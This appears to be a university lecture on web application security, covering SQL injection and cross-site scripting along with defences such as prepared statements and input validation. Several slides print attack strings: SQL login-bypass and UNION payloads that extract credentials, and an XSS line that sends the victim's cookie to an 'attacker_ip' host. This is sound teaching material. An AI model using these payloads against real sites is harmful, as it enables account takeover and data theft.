UNIVERSITY OF PALESTINE

INFORMATION SECURITY
AND RISK MANAGEMENT
CHAPTER 5

A. JAMIL ALAGHA
 CHAPTER 5

Web Application Security

2
JUST FEW YEARS BACK
• The World Wide Web consisted only of web sites

• Essentially information repositories containing static documents.

• The flow of interesting information was one-way, from server to
browser.

• Security threats were related largely to vulnerabilities in web

server software.

• If an attacker compromised a web server, he usually would not

gain access to any sensitive information:

• The information held on the server was already open to public

view.

3
TODAY
• Today the majority of sites on the web are in fact
applications.

• They are highly functional and rely on two-way flow of

information between the server and browser.

• The content presented to users is generated dynamically on

the fly and is often tailored to each specific user.

• Much of the information processed is private and highly

sensitive.

• Security, therefore, is a big issue.

4
 GENERIC SECURITY PRINCIPLES
Generic Security System

Detergence Protection Detection Response Recovery

(Scare away)

Information
while in transmission

Hacker Information
while in storage

Hardware

5
WEB IS EVERY WHERE
Web applications have been created to perform practically
every useful function you could possibly implement online:
• Shopping (Amazon)
• Social networking (Facebook)
• Banking (Citibank)
• Web search (Google)
• Auctions (eBay)
• Gambling (Betfair)
• Web logs (Blogger)
• Web mail (Gmail)
• Interactive information (Wikipedia)

6
SENSITIVE DATA
Many of these provide access to highly sensitive data and
functionality:
• HR applications allowing users to access payroll information,
manage recruitment and disciplinary procedures.
• Administrative interfaces to key infrastructure such as web
and mail servers
• Collaboration software used for sharing documents
• Business applications such as enterprise resource planning
(ERP) software
• Software services such as e-mail.
• Traditional desktop office applications such as word
processors and spreadsheets (Google Apps, Microsoft Office
Live).

7
WHY THE WEB IS ..
THE FUTURE ..
• HTTP, the core communications protocol used to access the
WWW, is lightweight and connectionless

• Every web user already has a browser installed on his

computer and mobile device:

• The core technologies and languages used to develop web

applications are relatively simple:

• http,
• javascript,
• etc.

8
WEB AND SECURITY
The majority of web applications are insecure, despite the
widespread usage of SSL technology.

9
WHY THIS IN-SECURITY
Users can submit arbitrary input to the server-side application.
Users can interfere with any piece of data transmitted between
the client and the server (HTTP interceptor, proxies, etc.)
Users can send requests in any sequence
Users can submit parameters:
• at a different stage than the application expects,
• more than once, or
• not at all.
Users are not restricted to using only a web browser to access
the application:
• Other tools can make requests that no browser would ordinarily
make and can generate huge numbers of requests quickly to find
and exploit problems.

10
SECURE SOCKETS LAYER -
TRANSPORT LAYER …
IS NOT ENOUGH
• SSL does not stop attacks that directly target the server or
client components of an application.

• SSL does nothing to stop an attacker from submitting

crafted input to the server.

• If the application uses SSL, this simply means that other

users on the network cannot view or modify the attacker‟s
data in transit.

• The attacker controls the other end of SSL tunnel, he can

send anything he likes to the server through this tunnel.

11
CONTRIBUTING FACTORS
Factor 1: Deceptive Simplicity
• Most web applications are developed in-house by an
organization’s own staff or third-party contractors.
• It is possible for a novice programmer to create a powerful
application from scratch in a short period of time.
• But there is a huge difference between producing code that is
functional and code that is secure.
• The use of ready-made code components: authentication, page
templates, message boards, etc.
Factor 2: Resource and time constraints
• The need to produce a functional application by a deadline
normally overrides less tangible security considerations.
Factor 3: Lack of Awarness
• Awareness of web application security issues remains less well-
developed than in longer-established areas such as networks
and operating systems.

12
SQL INJECTION
SQL injection is a code injection technique that exploits a security
vulnerability in a website's software.
Used to attack the security of a website by inputting SQL
statements in a web form to get a poorly designed website to
perform operations on the database.
A successful SQL injection exploit can:
• read sensitive data from the database,
• modify database data (Insert/Update/Delete),
• execute administration operations on the database (such as
shutdown the DBMS),
• recover the content of a given file present on the DBMS file system
• issue commands to the operating system.

13
BASIC ATTACK:
BYPASSING A LOGIN
Many applications use a database to store user credentials and
perform a simple SQL query such as:
SELECT * FROM users WHERE username = „marcus‟ and password =
„secret‟
• If a user’s details are returned to the application, the login attempt
is successful, and the application creates an authenticated
session for that user.
• If an attacker knows that the username of the application
administrator is admin, he can log in as that user by supplying any
password and the following username: admin’--
• This causes the application to perform the following query:
SELECT * FROM users WHERE username = ‘admin’--’ AND password = ‘foo’
• Which is equivalent to:
SELECT * FROM users WHERE username = ‘admin’

14
BASIC ATTACK:
BYPASSING A LOGIN
Suppose that the attacker does not know the administrator‟s
username.
Typically, the first account in the database is an administrative
user, because this account normally is created manually.
An attacker can log in as the first user in the database by
supplying the username: „ OR 1=1--
This causes the application to perform the query:
SELECT * FROM users WHERE username = „‟ OR 1=1--‟ AND
password = „foo‟
Which is equivalent to:
SELECT * FROM users WHERE username = „‟ OR 1=1

15
SQL INJECTION: NOT
NECESSARILY THROUGH
FORMS

16
SQL INJECTION
SQL Injection is one of the most notorious vulnerabilities to
have afflicted web applications.
• SQL injection can enable an anonymous attacker to read and
modify all data stored within the database, and even take full
control of the server on which the database is running.
• As awareness of web application security has evolved,
methods for finding and exploiting SQL injection flaws have
evolved, using more subtle indicators of vulnerabilities.
Although the fundamentals of SQL injection are common,
there are syntax differences between the three most common
database types:
• Oracle, MS-SQL, and MySQL

17
THE UNION
OPERATOR
The UNION operator is used in SQL to combine the results of
two or more SELECT statements into a single result set.
An attacker can employ the UNION operator to perform a
second, entirely separate query, and combine its results with
those of the first.
SELECT author,title,year FROM books WHERE publisher =
„Wiley‟
The attacker can enter the following as a publisher:
Wiley‟ UNION SELECT username,password,uid FROM users—
Resulting in the following query:
SELECT author,title,year FROM books WHERE publisher =
„Wiley‟
UNION SELECT username,password,uid FROM users--‟

18
THE UNION
OPERATOR
The result of the first query.
SELECT author,title,year FROM books WHERE publisher =
„Wiley‟
Might be:

While the result of the compromised query

SELECT author,title,year FROM books WHERE publisher =
„Wiley‟
UNION SELECT username,password,uid FROM users--‟
Might be:

19
THE UNION
OPERATOR
There are two important requirements about UNION queries:

• The results of the two queries must contain the same number

of columns, which have the same or compatible data types,

appearing in the same order.

• The attacker needs to know the name of the database table

that he wants to target, and the names of its relevant columns.

20
PREVENTING SQL
INJECTION
Despite all its different manifestations,
and the complexities that can arise in its exploitation,
SQL injection is in general one of the easier vulnerabilities to
prevent.
A common approach to preventing attacks is to escape any
single quotation marks within user input by doubling them.
This approach fails in at least two situations:
• If numeric user-supplied data is being embedded into SQL
queries
• In second-order SQL injection attacks.

21
VULNERABLE QUERY
MANIPULATION

The user-supplied name parameter is embedded directly into

a SQL statement

22
SECURE QUERY MANIPULATION

The prepareStatement method is invoked to fix the structure of the

query that is to be executed.
Only then is the setString method used to specify the parameter‟s
actual value.
Because the query‟s structure has already been fixed, this value
can contain any data without affecting the structure.

23
SQL INJECTION
PROTECTION

24
TOP 10 WEB
APPLICATION RISKS

25
TOP 10 WEB
APPLICATION RISKS

26
 YOUR CODE IS PART OF YOUR SECURITY
PERIMETER
Your security “perimeter” has huge
holes at the application layer
Application Layer

Legacy Systems

Human Resrcs
Web Services
Directories
Databases

Billing
Custom Developed
Application Code
APPLICATION
ATTACK

App Server
Web Server
Network Layer

Hardened OS
Fi Fi
re re
w w
al al
l l

You can‟t use network layer protection (firewall, SSL, IDS, hardening)

27
to stop or detect application layer attacks
CROSS-SITE SCRIPTING (XSS)
• Cross-site scripting (XSS) is a type of computer insecurity
vulnerability that enables attackers to inject client-side script
into Web pages viewed by other users.

• Their effect may range from a petty nuisance to a significant

security risk.

• In recent years, cross-site scripting become the most common

publicly-reported security vulnerability, with some researchers
in 2007 viewing as many as 68% of websites as likely open to
XSS attacks

28
CROSS-SITE
SCRIPTING
There are two main types of Cross-Site Scripting:
• Non-persistent (or reflected) XSS
• Persistent (or stored) XSS

29
NON-PERSISTENT XSS
..
sami

123456

HTTP(S)

30
NON-PERSISTENT XSS
..

Create Session
Create Cookie

sami 123456

HTTP(S)
Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

31
NON-PERSISTENT XSS
..

Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

HTTP(S)

32
SAME ORIGIN POLICY
..

HTTP(S)
<script> …. </script>

HTTP(S)
<script> …. </script>

33
SAME ORIGIN POLICY
..

HTTP(S)
<script> …. </script>

HTTP(S)
<script> …. </script>

34
SAME ORIGIN POLICY
..

HTTP(S)
<script> …. </script>

HTTP(S)
<script> …. </script>

The XSS Vulnerability

35
NON-PERSISTENT XSS
..

http://wackopicko/...?query=<script> … </script>

HTTP(S)
<script> … </script>

XSS Vulnerable

http://wackopicko.com/...?query=<script> … </script>

36
 Non-Persistent XSS ..

HTTP(S)

XSS Vulnerable

var i=new Image;

i.src=”http://attacker_ip/”+document.cookie;

37
Non-Persistent XSS ..

HTTP(S)

XSS Vulnerable

Remote Program
Execution

38
PERSISTENT
(STORED) XSS
The persistent (or stored) XSS vulnerability is a more
devastating variant of a cross-site scripting flaw.
It occurs when the data provided by the attacker is saved by
the server, and then permanently displayed on "normal"
pages returned to other users in the course of regular
browsing, without proper HTML escaping.
A classic example of this is with online message boards
where users are allowed to post HTML formatted messages
for other users to read.

39
PERSISTENT XSS
ATTACK SCENARIO
Alice posts a message with malicious payload to a social
network.

When Bob reads the message, Alice's XSS steals Bob's

cookie.

Alice can now hijack Bob's session and impersonate Bob.

40
REFLECTED VS
STORED XSS
Reflected and stored XSS have two important differences in
the attack process.

Difference 1:
• In the case of reflected XSS, to exploit a vulnerability, the
attacker must induce victims to visit his crafted URL.
• In the case of stored XSS, this requirement is avoided:
Having deployed his attack within the application, the attacker
simply needs to wait for victims to browse to the page or
function that has been compromised.

41
REFLECTED VS
STORED XSS
Difference 2:
• The attacker’s objectives in exploiting an XSS bug are usually
achieved much more easily if the victim is using the
application at the time of the attack.
• In a reflected XSS attack, the attacker may try to engineer this
situation by persuading the user to log in and then click a link
that he supplies.
• In a stored XSS attack, it is usually guaranteed that victim
users will already be accessing the application at the time the
attack strikes
These differences between reflected and stored XSS mean
that stored XSS flaws are often critical to an application‟s
security.

42
CROSS-SITE SCRIPTING (XSS)
CONSEQUENCES
The most severe XSS attacks involve disclosure of the user‟s session cookie,
allowing an attacker to hijack the user‟s session and take over the account.

Other damaging attacks include:

• the disclosure of end user files,
• installation of Trojan horse programs,
• redirect the user to some other page or site, or
• modify presentation of content.

An XSS vulnerability allowing an attacker to modify a press release or news

item could affect a company‟s stock price or lessen consumer confidence.

An XSS vulnerability on a pharmaceutical site could allow an attacker to

modify dosage information resulting in an overdose.

43
CROSS-SITE SCRIPTING
(XSS) CONSEQUENCES

44
FINDING XSS
VULNERABILITIES
A basic approach to identifying XSS vulnerabilities is to use a
standard proof-of-concept attack string such as the
following:
“><script>alert(document.cookie)</script>
This string is submitted as every parameter to every page of
the application.
Responses are monitored for the appearance of this same
string.
If the attack string appears unmodified within the response,
the application is almost certainly vulnerable to XSS

45
PROBING DEFENSIVE
FILTERS
Very often, the server blocks/modifies your attempted
exploits in some way.
Your task is to determine what filter is catching your attack.
There are three broad possibilities:
• The application has identified an attack signature and has
blocked your input.
• The application has accepted your input but has performed
some kind of encoding on the attack string.
• The application has truncated your attack string to a fixed
maximum length.

46
PREVENTING XSS
ATTACKS
The root cause of XSS is that user-controllable data is copied
into application responses without enough of validation and
verification.
To eliminate XSS vulnerabilities, the first step is to identify
every instance within the application where user-controllable
data is being copied into responses.
Then apply a three-fold approach:
• Validate input.
• Validate output.
• Eliminate dangerous insertion points.

47
END
Questions ?

48